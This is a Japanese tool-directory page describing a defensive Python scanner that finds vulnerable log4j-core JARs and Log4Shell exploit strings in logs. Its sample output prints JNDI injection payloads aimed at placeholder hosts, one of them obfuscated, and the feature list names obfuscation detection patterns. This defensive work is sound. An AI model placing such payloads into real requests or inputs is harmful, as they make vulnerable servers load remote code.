Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
log4shell-scanner — ファイルシステムツリー内で、脆弱なLog4jバージョンとLog4Shell(CVE-2021-44228)の兆候を検出する軽量スキャナ。 | Kitploit
ツール/GitHubGitHub/arpitgupta369/log4shell-scanner
防御ツール脆弱性スキャナー脆弱性分析サプライチェーンセキュリティ学習と教育ログ分析
GitHubarpitgupta369/log4shell-scanner

log4shell-scanner

ファイルシステムツリー内で、脆弱なLog4jバージョンとLog4Shell(CVE-2021-44228)の兆候を検出する軽量スキャナ。

リポジトリを見る
1ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

log4shell-scanner

依存関係不要の Log4Shell 防御用スキャナー — 脆弱な log4j-core の JAR と、ログ・設定ファイル内の JNDI エクスプロイトパターンを検出します。

このプロジェクトの背景

私の CERT-In ローテーション中に、脅威の特定、封じ込め、修復、そしてスレットハンティングに取り組みました。これはまさに、2021年12月に Log4Shell(CVE-2021-44228)が大規模に要求したワークフローです。つまり、フリート全体から脆弱な log4j-core アーティファクトをすべて見つけ出し、${jndi:...} のエクスプロイト試行をログから探し出すという作業です。このスキャナーは、その防御ワークフローを、検査対象ホストに何もインストールする必要のない、単一の移植可能な標準ライブラリ製 Python スクリプトとして再現します。

特徴

  • アーカイブ検出 — ディレクトリツリーを走査して .jar / .war / .ear ファイルを探します。
  • 信頼できるバージョン検出 — zipfile を使用して各アーカイブ内の pom.properties と MANIFEST.MF を読み取り、ファイル名にフォールバックします。実際の log4j-core と無関係な JAR を区別します。
  • Log4Shell ファミリー全体にわたる CVE フラグ付け:
    • CVE-2021-44228(RCE)— log4j-core 2.0-beta9 … 2.14.1
    • CVE-2021-45046(不完全な修正)— 2.15.0 まで
    • CVE-2021-45105(DoS)— 2.16.0 まで
  • エクスプロイトパターンのハンティング — ログ・設定・ソースから ${jndi:ldap:// と一般的な難読化パターン(${${lower:j}ndi:…}、波括弧分割の j}ndi:、${::-j})を grep します。
  • 実行可能な修復策 — 2.17.1+ へのアップグレード、または JndiLookup.class の除去に加え、外部通信(egress)監視のガイダンスを提供します。
  • サンプルツリー同梱 — 偽の脆弱な log4j-core-2.14.1.jar(log4j-core の pom.properties を含む実際の zip)、修正済みの 2.17.1.jar、無関係な JAR、JNDI ペイロードを含むログを同梱。
  • --demo はサンプルツリーを最初から最後までビルドしてスキャンします。
  • 純粋な Python 標準ライブラリのみ(os、re、zipfile)。依存関係はありません。

技術スタック

Python 3(標準ライブラリのみ: argparse、os、re、zipfile)。

インストール

root@kitploit:~
git clone https://github.com/arpitgupta369/log4shell-scanner.git
cd log4shell-scanner
python --version   # Python 3.8+
# no dependencies to install

使い方

同梱のサンプルツリーに対してデモを実行します:

root@kitploit:~
python log4shell_scan.py --demo

期待される出力(抜粋):

root@kitploit:~
--- Archives (log4j-core detection) ---
  [ok]         .../commons-lang3-3.12.0.jar
        version: unknown   (via no log4j-core detected)
  [VULNERABLE] .../log4j-core-2.14.1.jar
        version: 2.14.1   (via pom.properties (...))
        !! CVE-2021-44228: Critical RCE via JNDI lookup (Log4Shell).
        !! CVE-2021-45046: Incomplete fix; RCE/DoS in certain configs.
        !! CVE-2021-45105: Uncontrolled recursion -> Denial of Service.
  [ok]         .../log4j-core-2.17.1.jar
        version: 2.17.1   (via pom.properties (...))

--- Exploit-pattern matches (JNDI payloads in text/logs) ---
  [MATCH] .../access.log (2 hit(s))
        L2: ... "User-Agent: ${jndi:ldap://malicious-example.test:1389/a}"
        L3: ... "X-Api: ${${lower:j}ndi:rmi://evil-example.test/b}"

--- Summary ---
  Vulnerable archives:      1
  Files with JNDI patterns: 1

評価する権限がある任意のディレクトリをスキャンします:

root@kitploit:~
python log4shell_scan.py /path/to/deployed/app

プロセスの終了コードは、脆弱または不審なものが見つかった場合は 1、クリーンな場合は 0 になります。CI/パイプラインのゲートとして便利です。

サンプルツリーはいつでも再ビルドできます:

root@kitploit:~
python log4shell_scan.py --build-samples

プロジェクト構成

root@kitploit:~
log4shell-scanner/
├── log4shell_scan.py      # scanner + sample-tree builder + CLI
├── samples/
│   └── app/
│       ├── libs/
│       │   ├── log4j-core-2.14.1.jar     # fake VULNERABLE jar (real zip)
│       │   ├── log4j-core-2.17.1.jar     # patched jar
│       │   └── commons-lang3-3.12.0.jar  # unrelated jar
│       ├── logs/
│       │   └── access.log                # contains JNDI payloads
│       └── config.properties             # benign (should not match)
├── README.md
├── LICENSE
└── .gitignore

免責事項

教育、防御、および許可を得た用途のみを対象としています。評価する権限を持つシステムとアーティファクトに対してのみ実行してください。このスキャナーは読み取りとパターンマッチングのみを行い、何も実行したり悪用したりしません。同梱のサンプル JAR は作られたプレースホルダーであり、本物の Apache アーティファクトではありません。また、すべてのペイロードのホスト名はルーティング不能な .test 名を使用しています。バージョンと CVE の対応関係は参考用に提供されており、公式の CVE および Apache Log4j のセキュリティアドバイザリで確認してください。


Arpit Gupta により構築 — LinkedIn · GitHub

ツールをダウンロード